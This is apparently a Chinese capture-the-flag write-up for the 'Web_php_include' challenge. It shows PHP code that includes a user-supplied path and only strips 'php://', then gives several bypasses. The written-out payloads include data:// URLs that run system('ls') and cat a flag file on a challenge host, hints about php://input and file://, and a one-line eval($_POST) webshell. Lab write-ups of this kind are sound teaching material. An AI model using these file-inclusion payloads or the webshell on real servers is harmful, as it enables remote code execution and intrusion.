Web_php_include

一.代码解析

<?php
show_source
(__FILE__);
echo 
$_GET['hello'];
$page=$_GET['page'];
while (
strstr($page"php://")) {
    
$page=str_replace("php://"""$page);
}
include(
$page);
?>

是php的代码,已经不陌生了,说一下关键的;hello变量可以接收GET过来的数据,同样page变量也可以;一个while循环,使用函数 strstr();

strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。

其中,str_replace()函数就代替strstr()函数中的字符串为空格。

二.解决方法

方法1:利用php的伪协议

payload1:   http://111.200.241.244:61218/?page=data://text/plain,<?php%20system("ls")?>

payload2:   http://111.200.241.244:61218/?page=data://text/plain,<?php%20system("cat fl4gisisish3r3.php ")?>

查看网页源码,

方法2:根据pph://input 进行参数传递,传递想要的命令。注意大小写绕过。

方法3:利用file://协议,前提是要知道文件的绝对路径。

将源码中的base64加密的字符进行解密就可以了。

方法4:利用data:// 伪协议,进行php一句话木马的连接。

exp:http://111.200.241.244:61218/?page=data:text/plain,<?php eval($_POST['pass']);?>

欢迎一起交流。
原文地址:https://www.cnblogs.com/huazige/p/15035076.html